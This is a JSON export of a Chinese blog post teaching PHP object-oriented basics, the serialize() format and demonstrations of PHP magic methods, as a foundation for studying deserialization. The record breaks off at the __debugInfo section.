{"id":67,"date":"2026-01-22T23:14:39","date_gmt":"2026-01-22T15:14:39","guid":{"rendered":"https:\/\/zhihao.org.cn\/?p=67"},"modified":"2026-01-22T23:40:35","modified_gmt":"2026-01-22T15:40:35","slug":"%e6%b7%b1%e5%85%a5%e6%8e%a2%e7%b4%a2-php-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b8%8e%e9%ad%94%e6%9c%af%e6%96%b9%e6%b3%95","status":"publish","type":"post","link":"https:\/\/zhihao.org.cn\/?p=67","title":{"rendered":"\u6df1\u5165\u63a2\u7d22 PHP \u53cd\u5e8f\u5217\u5316\u4e0e\u9b54\u672f\u65b9\u6cd5"},"content":{"rendered":"\n

\u7c7b\u4e0e\u5bf9\u8c61<\/strong><\/h3>\n\n\n\n

php\u9762\u5411\u5bf9\u8c61\u5f00\u53d1\u7684\u5185\u5bb9<\/h4>\n\n\n\n

\u7c7b<\/strong> \u2212 \u5b9a\u4e49\u4e86\u4e00\u4ef6\u4e8b\u7269\u7684\u62bd\u8c61\u7279\u70b9\u3002\u7c7b\u7684\u5b9a\u4e49\u5305\u542b\u4e86\u6570\u636e\u7684\u5f62\u5f0f\u4ee5\u53ca\u5bf9\u6570\u636e\u7684\u64cd\u4f5c\u3002<\/p>\n\n\n\n

\u5bf9\u8c61<\/strong> \u2212 \u662f\u7c7b\u7684\u5b9e\u4f8b\u3002<\/p>\n\n\n\n

\u6210\u5458\u53d8\u91cf<\/strong> \u2212 \u5b9a\u4e49\u5728\u7c7b\u5185\u90e8\u7684\u53d8\u91cf\u3002\u8be5\u53d8\u91cf\u7684\u503c\u5bf9\u5916\u662f\u4e0d\u53ef\u89c1\u7684\uff0c\u4f46\u662f\u53ef\u4ee5\u901a\u8fc7\u6210\u5458\u51fd\u6570\u8bbf\u95ee\uff0c\u5728\u7c7b\u88ab\u5b9e\u4f8b\u5316\u4e3a\u5bf9\u8c61\u540e\uff0c\u8be5\u53d8\u91cf\u5373\u53ef\u6210\u4e3a\u5bf9\u8c61\u7684\u5c5e\u6027\u3002<\/p>\n\n\n\n

\u6210\u5458\u51fd\u6570<\/strong> \u2212 \u5b9a\u4e49\u5728\u7c7b\u7684\u5185\u90e8\uff0c\u53ef\u7528\u4e8e\u8bbf\u95ee\u5bf9\u8c61\u7684\u6570\u636e\u3002<\/p>\n\n\n\n

\u7ee7\u627f<\/strong> \u2212 \u7ee7\u627f\u6027\u662f\u5b50\u7c7b\u81ea\u52a8\u5171\u4eab\u7236\u7c7b\u6570\u636e\u7ed3\u6784\u548c\u65b9\u6cd5\u7684\u673a\u5236\uff0c\u8fd9\u662f\u7c7b\u4e4b\u95f4\u7684\u4e00\u79cd\u5173\u7cfb\u3002\u5728\u5b9a\u4e49\u548c\u5b9e\u73b0\u4e00\u4e2a\u7c7b\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u5728\u4e00\u4e2a\u5df2\u7ecf\u5b58\u5728\u7684\u7c7b\u7684\u57fa\u7840\u4e4b\u4e0a\u6765\u8fdb\u884c\uff0c\u628a\u8fd9\u4e2a\u5df2\u7ecf\u5b58\u5728\u7684\u7c7b\u6240\u5b9a\u4e49\u7684\u5185\u5bb9\u4f5c\u4e3a\u81ea\u5df1\u7684\u5185\u5bb9\uff0c\u5e76\u52a0\u5165\u82e5\u5e72\u65b0\u7684\u5185\u5bb9\u3002<\/p>\n\n\n\n

\u7236\u7c7b<\/strong> \u2212 \u4e00\u4e2a\u7c7b\u88ab\u5176\u4ed6\u7c7b\u7ee7\u627f\uff0c\u53ef\u5c06\u8be5\u7c7b\u79f0\u4e3a\u7236\u7c7b\uff0c\u6216\u57fa\u7c7b\uff0c\u6216\u8d85\u7c7b\u3002<\/p>\n\n\n\n

\u5b50\u7c7b<\/strong> \u2212 \u4e00\u4e2a\u7c7b\u7ee7\u627f\u5176\u4ed6\u7c7b\u79f0\u4e3a\u5b50\u7c7b\uff0c\u4e5f\u53ef\u79f0\u4e3a\u6d3e\u751f\u7c7b\u3002<\/p>\n\n\n\n

\u6784\u9020\u51fd\u6570<\/strong> \u2212 \u4e3b\u8981\u7528\u6765\u5728\u521b\u5efa\u5bf9\u8c61\u65f6\u521d\u59cb\u5316\u5bf9\u8c61\uff0c \u5373\u4e3a\u5bf9\u8c61\u6210\u5458\u53d8\u91cf\u8d4b\u521d\u59cb\u503c\uff0c\u603b\u4e0enew\u8fd0\u7b97\u7b26\u4e00\u8d77\u4f7f\u7528\u5728\u521b\u5efa\u5bf9\u8c61\u7684\u8bed\u53e5\u4e2d\u3002<\/p>\n\n\n\n

\u6790\u6784\u51fd\u6570<\/strong> \u2212 \u6790\u6784\u51fd\u6570(destructor) \u4e0e\u6784\u9020\u51fd\u6570\u76f8\u53cd\uff0c\u5f53\u5bf9\u8c61\u7ed3\u675f\u5176\u751f\u547d\u5468\u671f\u65f6\uff08\u4f8b\u5982\u5bf9\u8c61\u6240\u5728\u7684\u51fd\u6570\u5df2\u8c03\u7528\u5b8c\u6bd5\uff09\uff0c\u7cfb\u7edf\u81ea\u52a8\u6267\u884c\u6790\u6784\u51fd\u6570\u3002\u6790\u6784\u51fd\u6570\u5f80\u5f80\u7528\u6765\u505a”\u6e05\u7406\u5584\u540e” \u7684\u5de5\u4f5c\uff08\u4f8b\u5982\u5728\u5efa\u7acb\u5bf9\u8c61\u65f6\u7528new\u5f00\u8f9f\u4e86\u4e00\u7247\u5185\u5b58\u7a7a\u95f4\uff0c\u5e94\u5728\u9000\u51fa\u524d\u5728\u6790\u6784\u51fd\u6570\u4e2d\u7528delete\u91ca\u653e\uff09\u3002<\/p>\n\n\n\n

\u7c7b\u7684\u6f14\u793a<\/h4>\n\n\n\n

\u7c7b\uff1a\u5b9a\u4e49\u7c7b\u540d\u3001\u5b9a\u4e49\u6210\u5458\u53d8\u91cf\uff08\u5c5e\u6027\uff09\u3001\u5b9a\u4e49\u6210\u5458\u51fd\u6570\uff08\u65b9\u6cd5<\/p>\n\n\n\n

<?php\nclass hero{\n  var $name;\n  var $sex;\n  function jineng($var1) {\n    echo $this->name;\n    echo $var1;\n  }\n}\n?><\/code><\/pre>\n\n\n\n
\u5b9e\u4f8b\u5316\u548c\u8d4b\u503c<\/h4>\n\n\n\n
\u5b9e\u4f8b\u5316\u548c\u8d4b\u503c\uff0c\u6f14\u793a\u4ee3\u7801<\/p>\n\n\n\n
<?php\nclass hero{\n  var $name;\n  var $sex;\n  function jineng($var1) {\n    echo $this->name.\"<br \/>\";\n    echo $var1.\"<br \/>\";\n    }\n}\n$cyj= new hero();\n$cyj->name='chengyaojin';\n$cyj->sex='man';\n$cyj->jineng('zuofan');\nprint_r($cyj);\n?>\n<!-- chengyaojin\nzuofan\nhero Object ( [name] => chengyaojin [sex] => man )\t \t\t\t --><\/code><\/pre>\n\n\n\n
\u6743\u9650\u4fee\u9970\u7b26<\/h4>\n\n\n\n
PHP\u8bbf\u95ee\u6743\u9650\u4fee\u9970\u7b26\u6709\u4e09\u79cd\uff1a1\u3001Public\uff0c2\u3001Protected\uff0c3\u3001private<\/p>\n\n\n\n
<?php\nclass hero{\n  public  $name='chengyaojin'; \/\/public\u4fee\u9970\u7b26\u662fPHP\u4e2d\u6700\u5e38\u7528\u7684\u6743\u9650\u63a7\u5236\u4fee\u9970\u7b26\uff0c\u7528\u4e8e\u63cf\u8ff0\u516c\u5171\u6210\u5458\u53d8\u91cf\u548c\u6210\u5458\u65b9\u6cd5\u3002\u5c06\u4e00\u4e2a\u6210\u5458\u53d8\u91cf\u6216\u65b9\u6cd5\u5b9a\u4e49\u4e3a\u516c\u5171\u7684\uff0c\u5219\u4efb\u4f55\u5bf9\u8c61\u90fd\u53ef\u4ee5\u8bbf\u95ee\u8be5\u53d8\u91cf\u6216\u65b9\u6cd5\u3002\n  private  $sex='man'; \/\/private\u4fee\u9970\u7b26\u7528\u4e8e\u63cf\u8ff0\u79c1\u6709\u7684\u6210\u5458\u53d8\u91cf\u548c\u6210\u5458\u65b9\u6cd5\u3002\u5c06\u4e00\u4e2a\u6210\u5458\u53d8\u91cf\u6216\u65b9\u6cd5\u5b9a\u4e49\u4e3a\u79c1\u6709\u7684\uff0c\u5219\u53ea\u6709\u8be5\u7c7b\u5185\u90e8\u53ef\u4ee5\u8bbf\u95ee\u8fd9\u4e9b\u6210\u5458\u3002\n  protected  $shengao='165';  \/\/protected\u4fee\u9970\u7b26\u7528\u4e8e\u63cf\u8ff0\u53d7\u4fdd\u62a4\u7684\u6210\u5458\u53d8\u91cf\u548c\u6210\u5458\u65b9\u6cd5\u3002\u5c06\u4e00\u4e2a\u6210\u5458\u53d8\u91cf\u6216\u65b9\u6cd5\u5b9a\u4e49\u4e3a\u53d7\u4fdd\u62a4\u7684\uff0c\u5219\u53ea\u6709\u5b50\u7c7b\u548c\u7236\u7c7b\u4e2d\u53ef\u4ee5\u8bbf\u95ee\u8fd9\u4e9b\u6210\u5458\u3002\n  function jineng($var1) {\n    echo $this->name;\n    echo $var1;\n    }\n}\n$cyj= new hero();\necho $cyj->name.\"<br \/>\";\necho $cyj->sex.\"<br \/>\";\necho $cyj->shengao.\"<br \/>\";\n?>\n\n<!-- chengyaojin --><\/code><\/pre>\n\n\n\n
\u5e8f\u5217\u5316\u57fa\u7840\u77e5\u8bc6<\/strong><\/h3>\n\n\n\n
\u5e8f\u5217\u5316\u6f14\u793a<\/h4>\n\n\n\n
\u4e0d\u540c\u6570\u636e\u7c7b\u578b\u5e8f\u5217\u5316\u4e4b\u540e\u5bf9\u7684\u683c\u5f0f\u5c55\u793a<\/p>\n\n\n\n
\u5bf9\u8c61\u7c7b\u578b:\u540d\u79f0\u957f\u5ea6:\u5bf9\u8c61\u540d\u79f0:\u5bf9\u8c61\u4e2a\u6570:{\u5c5e\u6027\u7c7b\u578b:\u5c5e\u6027\u957f\u5ea6:\u5c5e\u6027\u540d\u79f0;\u5185\u5bb9\u7c7b\u578b:\u5185\u5bb9\u957f\u5ea6:\u5185\u5bb9;}<\/p>\n\n\n\n
<?php\nclass TEST {\n    public $data;\n    public $data2 = \"dazzhuang\";\n    private $pass;\n\n    public function __construct($data, $pass)\n    {\n        $this->data = $data;\n        $this->pass = $pass;\n    }\n}\n$number = 34;\n$str = 'user';\n$bool = true;\n$null = NULL;\n$arr = array('a' => 10, 'b' => 200);\n$test = new TEST('uu', true);\n$test2 = new TEST('uu', true);\n$test2->data = &$test2->data2;\necho serialize($number).\"<br \/>\";\necho serialize($str).\"<br \/>\";\necho serialize($bool).\"<br \/>\";\necho serialize($null).\"<br \/>\";\necho serialize($arr).\"<br \/>\";\necho serialize($test).\"<br \/>\";\necho serialize($test2).\"<br \/>\";\n?>\n<!-- \ni:34;\ns:4:\"user\";\nb:1;\nN;\na:2:{s:1:\"a\";i:10;s:1:\"b\";i:200;}\nO:4:\"TEST\":3:{s:4:\"data\";s:2:\"uu\";s:5:\"data2\";s:9:\"dazzhuang\";s:10:\"TESTpass\";b:1;}\nO:4:\"TEST\":3:{s:4:\"data\";s:9:\"dazzhuang\";s:5:\"data2\";R:2;s:10:\"TESTpass\";b:1;} --><\/code><\/pre>\n\n\n\n
\u6570\u7ec4\u5e8f\u5217\u5316<\/h4>\n\n\n\n
<?php\n$a = array('benben','dazhuang','laoliu');\necho $a[0];\necho serialize($a);\n?>\n<!-- benbena:3:{i:0;s:6:\"benben\";i:1;s:8:\"dazhuang\";i:2;s:6:\"laoliu\";} --><\/code><\/pre>\n\n\n\n
\u5bf9\u8c61\u5e8f\u5217\u5316<\/h4>\n\n\n\n
\u63d0\u4f9b\u4e86\u5bf9\u8c61\u5e8f\u5217\u5316\u793a\u4f8b<\/p>\n\n\n\n
<?php\nhighlight_file(__FILE__);\nclass test{\n    public $pub='benben';\n    function jineng(){\n        echo $this->pub;\n    }\n}\n$a = new test();\necho serialize($a);\n?>\n<!-- O:4:\"test\":1:{s:3:\"pub\";s:6:\"benben\";} --><\/code><\/pre>\n\n\n\n
\u79c1\u6709\u4fee\u9970\u7b26 private<\/h4>\n\n\n\n
\u79c1\u6709\u5c5e\u6027\u5728\u5e8f\u5217\u5316\u4e4b\u540e\u7684\u683c\u5f0f<\/p>\n\n\n\n
<?php\nclass test{\n    private $pub='benben';\n    function jineng(){\n        echo $this->pub;\n    }\n}\n$a = new test();\necho serialize($a);\n?>\n<!-- O:4:\"test\":1:{s:9:\"testpub\";s:6:\"benben\";} -->\n<!-- \u5f53\u5c5e\u6027\u53d8\u91cf\u4e3aprivate\u548cprotected\u65f6\uff0c\u6700\u597d\u4f7f\u7528urlencode\u52a0\u5bc6\u4e00\u4e0b\uff0c\u4f1a\u5728\u5c5e\u6027\u540d\u79f0\u524d\u751f\u6210\u4e0d\u53ef\u89c1\u5b57\u7b26--><\/code><\/pre>\n\n\n\n
private\u53cd\u5e8f\u5217\u5316\u540e\u662f%00(\u7c7b\u540d)%00(\u53d8\u91cf\u540d)<\/p>\n\n\n\n
\u4fdd\u62a4\u4fee\u9970\u7b26 protected<\/h4>\n\n\n\n
\u4fdd\u62a4\u5c5e\u6027\u4fee\u9970\u7b26\u5728\u5e8f\u5217\u5316\u4e4b\u540e\u7684\u683c\u5f0f<\/p>\n\n\n\n
<?php\nclass test{\n    protected $pub='benben';\n    function jineng(){\n        echo $this->pub;\n    }\n}\n$a = new test();\necho serialize($a);\n?>\n<!-- O:4:\"test\":1:{s:6:\"*pub\";s:6:\"benben\";} --><\/code><\/pre>\n\n\n\n
protect\u5e8f\u5217\u5316\u4e4b\u540e\u662f%00*%00(\u53d8\u91cf\u540d<\/p>\n\n\n\n
\u6210\u5458\u5c5e\u6027\u8c03\u7528\u5bf9\u8c61<\/h4>\n\n\n\n
\u6f14\u793a\u6210\u5458\u5c5e\u6027\u8c03\u7528\u5bf9\u8c61\u8fc7\u7a0b\uff0c\u53ca\u5e8f\u5217\u5316\u4e4b\u540e\u683c\u5f0f\u89e3\u91ca<\/p>\n\n\n\n
<?php\nclass test{\n    var $pub='benben';\n    function jineng(){\n        echo $this->pub;\n    }\n}\nclass test2{\n    var $ben;\n    function __construct(){\n        $this->ben=new test();\n    }\n}\n$a = new test2();\necho serialize($a);\n?>\n<!-- O:5:\"test2\":1:{s:3:\"ben\";O:4:\"test\":1:{s:3:\"pub\";s:6:\"benben\";}} --><\/code><\/pre>\n\n\n\n
\u9b54\u672f\u65b9\u6cd5\u4ecb\u7ecd\uff0c\u6784\u9020\u548c\u6790\u6784<\/strong><\/h3>\n\n\n\n
PHP\u4e2d\u628a\u4ee5\u4e24\u4e2a\u4e0b\u5212\u7ebf__\u5f00\u5934\u7684\u65b9\u6cd5\u79f0\u4e3a\u9b54\u672f\u65b9\u6cd5(Magic methods)\uff0c\u8fd9\u4e9b\u65b9\u6cd5\u5728PHP\u4e2d\u5145\u5f53\u4e86\u4e3e\u8db3\u8f7b\u91cd\u7684\u4f5c\u7528\u3002 \u9b54\u672f\u65b9\u6cd5\u5305\u62ec\uff1a<\/p>\n\n\n\n
__construct()\uff0c\u7c7b\u7684\u6784\u9020\u51fd\u6570\n\n__destruct()\uff0c\u7c7b\u7684\u6790\u6784\u51fd\u6570\n\n__call()\uff0c\u5728\u5bf9\u8c61\u4e2d\u8c03\u7528\u4e00\u4e2a\u4e0d\u53ef\u8bbf\u95ee\u65b9\u6cd5\u65f6\u8c03\u7528\n\n__callStatic()\uff0c\u7528\u9759\u6001\u65b9\u5f0f\u4e2d\u8c03\u7528\u4e00\u4e2a\u4e0d\u53ef\u8bbf\u95ee\u65b9\u6cd5\u65f6\u8c03\u7528\n\n__get()\uff0c\u83b7\u5f97\u4e00\u4e2a\u7c7b\u7684\u6210\u5458\u53d8\u91cf\u65f6\u8c03\u7528\n\n__set()\uff0c\u8bbe\u7f6e\u4e00\u4e2a\u7c7b\u7684\u6210\u5458\u53d8\u91cf\u65f6\u8c03\u7528\n\n__isset()\uff0c\u5f53\u5bf9\u4e0d\u53ef\u8bbf\u95ee\u5c5e\u6027\u8c03\u7528isset()\u6216empty()\u65f6\u8c03\u7528\n\n__unset()\uff0c\u5f53\u5bf9\u4e0d\u53ef\u8bbf\u95ee\u5c5e\u6027\u8c03\u7528unset()\u65f6\u88ab\u8c03\u7528\u3002\n\n__sleep()\uff0c\u6267\u884cserialize()\u65f6\uff0c\u5148\u4f1a\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\n\n__wakeup()\uff0c\u6267\u884cunserialize()\u65f6\uff0c\u5148\u4f1a\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\n\n__toString()\uff0c\u7c7b\u88ab\u5f53\u6210\u5b57\u7b26\u4e32\u65f6\u7684\u56de\u5e94\u65b9\u6cd5\n\n__invoke()\uff0c\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u8c03\u7528\u4e00\u4e2a\u5bf9\u8c61\u65f6\u7684\u56de\u5e94\u65b9\u6cd5\n\n__set_state()\uff0c\u8c03\u7528var_export()\u5bfc\u51fa\u7c7b\u65f6\uff0c\u6b64\u9759\u6001\u65b9\u6cd5\u4f1a\u88ab\u8c03\u7528\u3002\n\n__clone()\uff0c\u5f53\u5bf9\u8c61\u590d\u5236\u5b8c\u6210\u65f6\u8c03\u7528\n\n__autoload()\uff0c\u5c1d\u8bd5\u52a0\u8f7d\u672a\u5b9a\u4e49\u7684\u7c7b\n\n__debugInfo()\uff0c\u6253\u5370\u6240\u9700\u8c03\u8bd5\u4fe1\u606f<\/code><\/pre>\n\n\n\n
__construct()<\/h4>\n\n\n\n
\u6784\u9020\u51fd\u6570\uff0c\u5728\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61\u7684\u65f6\u5019\uff0c\u9996\u5148\u4f1a\u53bb\u81ea\u52a8\u6267\u884c\u7684\u4e00\u4e2a\u65b9\u6cd5\uff0c\u5f53\u4f7f\u7528 new \u5173\u952e\u5b57\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61\u65f6\uff0c\u6784\u9020\u51fd\u6570\u5c06\u4f1a\u81ea\u52a8\u8c03\u7528\u3002\uff1b<\/p>\n\n\n\n
<?php\nclass User {\n    public $username;\n    public function __construct($username) {\n        $this->username = $username;\n        echo \"\u89e6\u53d1\u4e86\u6784\u9020\u51fd\u65701\u6b21\" ;\n    }\n}\n$test = new User(\"benben\"); \/\/\u8fd9\u91cc\u89e6\u53d1\n$ser = serialize($test);\nunserialize($ser);\n\n?>\n\n<!-- \u89e6\u53d1\u4e86\u6784\u9020\u51fd\u65701\u6b21 --><\/code><\/pre>\n\n\n\n
__destruct()<\/h4>\n\n\n\n
\u6790\u6784\u51fd\u6570\uff0c\u5728\u5bf9\u8c61\u7684\u6240\u6709\u5f15\u7528\u88ab\u5220\u9664\u6216\u8005\u5f53\u5bf9\u8c61\u88ab\u663e\u5f0f\u9500\u6bc1\u65f6\u6267\u884c\u7684\u9b54\u672f\u65b9\u6cd5\u3002<\/p>\n\n\n\n
<?php\nclass User {\n    public function __destruct()\n    {\n        echo \"\u89e6\u53d1\u4e86\u6790\u6784\u51fd\u65701\u6b21\".\"<br \/>\" ;\n    }\n}\n$test = new User(\"benben\");\n$ser = serialize($test);\nunserialize($ser); \n\/\/\u8fd9\u91cc\u89e6\u53d1\n\n?>\n<!-- \u89e6\u53d1\u4e86\u6790\u6784\u51fd\u65701\u6b21\n\u89e6\u53d1\u4e86\u6790\u6784\u51fd\u65701\u6b21 --><\/code><\/pre>\n\n\n\n
__sleep()<\/h4>\n\n\n\n
\u6b64\u529f\u80fd\u53ef\u4ee5\u7528\u4e8e\u6e05\u7406\u5bf9\u8c61\uff0c\u5e76\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u5bf9\u8c61\u4e2d\u6240\u6709\u5e94\u88ab\u5e8f\u5217\u5316\u7684\u53d8\u91cf\u540d\u79f0\u7684\u6570\u7ec4\u3002\u6267\u884cserialize()\u4e4b\u524d\uff0c\u5148\u4f1a\u89e6\u53d1\u8fd9\u4e2a\u51fd\u6570,session\u5e8f\u5217\u5316\u5199\u5165\u65f6\u4f1a\u89e6\u53d1<\/p>\n\n\n\n
<?php\nclass User {\n    const SITE = 'uusama';\n    public $username;\n    public $nickname;\n    private $password;\n    public function __construct($username, $nickname, $password)    {\n        $this->username = $username;\n        $this->nickname = $nickname;\n        $this->password = $password;\n    }\n    public function __sleep() {\n        return array('username', 'nickname');\n    }\n}\n$user = new User('a', 'b', 'c');\n\/\/\u8fd9\u91cc\u89e6\u53d1\necho serialize($user);\n?>\n\n<!-- O:4:\"User\":2:{s:8:\"username\";s:1:\"a\";s:8:\"nickname\";s:1:\"b\";} --><\/code><\/pre>\n\n\n\n
__wakeup()<\/h4>\n\n\n\n
\u9884\u5148\u51c6\u5907\u5bf9\u8c61\u8d44\u6e90\uff0c\u8fd4\u56devoid\uff0c\u5e38\u7528\u4e8e\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\u4e2d\u91cd\u65b0\u5efa\u7acb\u6570\u636e\u5e93\u8fde\u63a5\u6216\u6267\u884c\u5176\u4ed6\u521d\u59cb\u5316\u64cd\u4f5c\u3002\u6267\u884cunserialize()\u65f6\uff0c\u5148\u4f1a\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570<\/p>\n\n\n\n
<?php\nclass User {\n    const SITE = 'uusama';\n    public $username;\n    public $nickname;\n    private $password;\n    private $order;\n    public function __wakeup() {\n        $this->password = $this->username;\n    }\n}\n$user_ser = 'O:4:\"User\":2:{s:8:\"username\";s:1:\"a\";s:8:\"nickname\";s:1:\"b\";}';\n\/\/\u8fd9\u91cc\u89e6\u53d1\nvar_dump(unserialize($user_ser));\n?>\n<!-- object(User)#1 (4) { [\"username\"]=> string(1) \"a\" [\"nickname\"]=> string(1) \"b\" [\"password\":\"User\":private]=> string(1) \"a\" [\"order\":\"User\":private]=> NULL } --><\/code><\/pre>\n\n\n\n
__toString()<\/h4>\n\n\n\n
echo\u6216\u8005print\u53ea\u80fd\u8c03\u7528\u5b57\u7b26\u4e32\u7684\u65b9\u5f0f\u53bb\u8c03\u7528\u5bf9\u8c61\uff0c\u5373\u628a\u5bf9\u8c61\u5f53\u6210\u5b57\u7b26\u4e32\u4f7f\u7528\uff0c\u6b64\u65f6\u81ea\u52a8\u89e6\u53d1toString()\u3002\u628a\u7c7b\u5f53\u4f5c\u5b57\u7b26\u4e32\u4f7f\u7528\u65f6\u89e6\u53d1 echo\uff0c\u6b63\u5219\u5339\u914d\uff0c\u5b57\u7b26\u4e32\u62fc\u63a5\u7b49\u90fd\u4f1a\u89e6\u53d1<\/p>\n\n\n\n
<?php\nclass User {\n    var $benben = \"this is test!!\";\n         public function __toString()\n         {\n             return '\u683c\u5f0f\u4e0d\u5bf9\uff0c\u8f93\u51fa\u4e0d\u4e86!';\n          }\n}\n$test = new User() ;\nprint_r($test);\necho \"<br \/>\";\necho $test; \/\/\u8fd9\u91cc\u89e6\u53d1\n?>\n<!-- User Object ( [benben] => this is test!! )\n\u683c\u5f0f\u4e0d\u5bf9\uff0c\u8f93\u51fa\u4e0d\u4e86! --><\/code><\/pre>\n\n\n\n
__invoke()<\/h4>\n\n\n\n
\u628atest\u5f53\u6210\u51fd\u6570test()\u6765\u8c03\u7528,\u6b64\u65f6\u89e6\u53d1invoke()\u3002\u5f53\u5c1d\u8bd5\u5c06\u5bf9\u8c61\u8c03\u7528\u4e3a\u51fd\u6570\u65f6\u89e6\u53d1<\/p>\n\n\n\n
<?php\nclass User {\n    var $benben = \"this is test!!\";\n         public function __invoke()\n         {\n             echo  '\u5b83\u4e0d\u662f\u4e2a\u51fd\u6570!';\n          }\n}\n$test = new User() ;\necho $test ->benben;\necho \"<br \/>\";\necho $test() ->benben;\/\/\u8fd9\u91cc\u89e6\u53d1\n?>\nthis is test!!\n\u5b83\u4e0d\u662f\u4e2a\u51fd\u6570!<\/code><\/pre>\n\n\n\n
__call()<\/h4>\n\n\n\n
\u8c03\u7528\u7684\u4e0d\u5b58\u5728\u7684\u65b9\u6cd5\u7684\u540d\u79f0\u548c\u53c2\u6570\uff0c\u5728\u5bf9\u8c61\u4e0a\u4e0b\u6587\u4e2d\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u65f6\u89e6\u53d1 #$test->callxxx(‘a’);<\/p>\n\n\n\n
<?php\nclass User {\n    public function __call($arg1,$arg2)\n    {\n        echo \"$arg1,$arg2[0]\";\n          }\n}\n$test = new User() ;\n$test -> callxxx('a');\n?>\n\n<!-- callxxx,a --><\/code><\/pre>\n\n\n\n
__callStatic()<\/h4>\n\n\n\n
\u9759\u6001\u8c03\u7528\u6216\u8c03\u7528\u6210\u5458\u5e38\u91cf\u65f6\u4f7f\u7528\u7684\u65b9\u6cd5\u4e0d\u5b58\u5728\uff0c\u5728\u9759\u6001\u4e0a\u4e0b\u6587\u4e2d\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u65f6\u89e6\u53d1 #$test::callxxx(‘a’);<\/p>\n\n\n\n
<?php\nclass User {\n    public function __callStatic($arg1,$arg2)\n    {\n        echo \"$arg1,$arg2[0]\";\n          }\n}\n$test = new User() ;\n$test::callxxx('a');\n?>\n\n<!-- callxxx,a --><\/code><\/pre>\n\n\n\n
__get()<\/h4>\n\n\n\n
\u8c03\u7528\u7684\u6210\u5458\u5c5e\u6027\u4e0d\u5b58\u5728\u3002__get() \/\/\u7528\u4e8e\u4ece\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u8bfb\u53d6\u6570\u636e\u6216\u8005\u4e0d\u5b58\u5728\u8fd9\u4e2a\u952e\u90fd\u4f1a\u8c03\u7528\u6b64\u65b9\u6cd5<\/p>\n\n\n\n
\/\/call\u548cget\u7684\u533a\u522b\u5c31\u662f\uff0ccall\u662f\u8bbf\u95ee\u4e0d\u5b58\u5728\/\u4e0d\u53ef\u8bbf\u95ee\u7684\u51fd\u6570\uff0cget\u662f\u4e0d\u5b58\u5728\/\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027<\/p>\n\n\n\n
<?php\nclass User {\n    public $var1;\n    public function __get($arg1)\n    {\n        echo  $arg1;\n    }\n}\n$test = new User() ;\n$test ->var2;\n?>\n\n<!-- var2 --><\/code><\/pre>\n\n\n\n
__set()<\/h4>\n\n\n\n
__set\u9b54\u672f\u65b9\u6cd5\u662fPHP\u4e2d\u7528\u4e8e\u5904\u7406\u5c5e\u6027\u8bbe\u7f6e\u7684\u4e00\u4e2a\u7279\u6b8a\u65b9\u6cd5\u3002\u5f53\u5c1d\u8bd5\u8bbe\u7f6e\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u5c5e\u6027\u65f6\uff0cPHP\u4f1a\u81ea\u52a8\u8c03\u7528\u8fd9\u4e2a\u65b9\u6cd5\u3002<\/p>\n\n\n\n
<?php\nclass User {\n    public $var1;\n    public function __set($arg1 ,$arg2)\n    {\n        echo  $arg1.','.$arg2;\n    }\n}\n$test = new User() ;\n$test ->var2=1;\n?>\n\n<!-- var2,1 --><\/code><\/pre>\n\n\n\n
__isset()<\/h4>\n\n\n\n
\u5bf9\u4e0d\u53ef\u8bbf\u95ee\u5c5e\u6027\u4f7f\u7528 isset() \u6216 empty() \u65f6\uff0c__isset() \u4f1a\u88ab\u8c03\u7528\u3002\u5728\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u4e0a\u8c03\u7528isset()\u6216empty()\u89e6\u53d1<\/p>\n\n\n\n
<?php\nclass User {\n    private $var;\n    public function __isset($arg1 )\n    {\n        echo  $arg1;\n    }\n}\n$test = new User() ;\nisset($test->var);\n?>\n\n<!-- var --><\/code><\/pre>\n\n\n\n
__unset()<\/h4>\n\n\n\n
\u5728\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u4e0a\u4f7f\u7528unset()\u65f6\u89e6\u53d1<\/p>\n\n\n\n
<?php\nclass User {\n    private $var;\n    public function __unset($arg1 )\n    {\n        echo  $arg1;\n    }\n}\n$test = new User() ;\nunset($test->var);\n?>\n\n<!-- var --><\/code><\/pre>\n\n\n\n
__clone()<\/h4>\n\n\n\n
\u5f53\u4f7f\u7528 clone \u5173\u952e\u5b57\u62f7\u8d1d\u5b8c\u6210\u4e00\u4e2a\u5bf9\u8c61\u540e\uff0c\u65b0\u5bf9\u8c61\u4f1a\u81ea\u52a8\u8c03\u7528\u5b9a\u4e49\u7684\u9b54\u672f\u65b9\u6cd5 __clone()<\/p>\n\n\n\n
<?php\nclass User {\n    private $var;\n    public function __clone( )\n    {\n        echo  \"__clone test\";\n          }\n}\n$test = new User() ;\n$newclass = clone($test)\n?>\n<!-- __clone test --><\/code><\/pre>\n\n\n\n
__autoload()<\/strong><\/h4>\n\n\n\n
\u5c1d\u8bd5\u52a0\u8f7d\u672a\u5b9a\u4e49\u7684\u7c7b\u65f6\u89e6\u53d1<\/p>\n\n\n\n
<?php\n\/\/ \u6ce8\u610f\uff1a__autoload() \u5728 PHP 7.2.0 \u540e\u5df2\u5f03\u7528\nfunction __autoload($className) {\n    echo \"\u5c1d\u8bd5\u81ea\u52a8\u52a0\u8f7d\u7c7b: \" . $className;\n    \/\/ \u8fd9\u91cc\u53ef\u4ee5\u5b9e\u73b0\u7c7b\u6587\u4ef6\u7684\u81ea\u52a8\u52a0\u8f7d\u903b\u8f91\n}\n$test = new NonExistentClass(); \/\/ \u8fd9\u91cc\u89e6\u53d1\n?>\n<!-- \u5c1d\u8bd5\u81ea\u52a8\u52a0\u8f7d\u7c7b: NonExistentClass --><\/code><\/pre>\n\n\n\n
__debugInfo()<\/strong><\/h4>\n\n\n\n
